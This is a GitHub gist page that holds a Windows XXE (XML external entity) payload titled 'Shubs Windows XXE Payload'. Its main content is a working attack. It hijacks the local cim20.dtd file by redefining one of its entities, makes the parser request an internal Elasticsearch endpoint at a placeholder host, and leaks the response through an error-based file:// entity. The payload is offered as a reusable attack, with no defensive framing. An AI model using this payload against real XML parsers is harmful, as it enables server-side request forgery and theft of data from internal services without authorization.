Skip to content

Instantly share code, notes, and snippets.

@srand2

srand2/gist:0dd775e0f6c2e162d2c3dc9eef50a610

Forked from Rhynorater/gist:d0d19f757221a916a22476c3a5c6aba2
Created August 7, 2023 01:18
Show Gist options
  • Save srand2/0dd775e0f6c2e162d2c3dc9eef50a610 to your computer and use it in GitHub Desktop.
Save srand2/0dd775e0f6c2e162d2c3dc9eef50a610 to your computer and use it in GitHub Desktop.
Download ZIP
Shubs Windows XXE Payload
Raw
gistfile1.txt
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment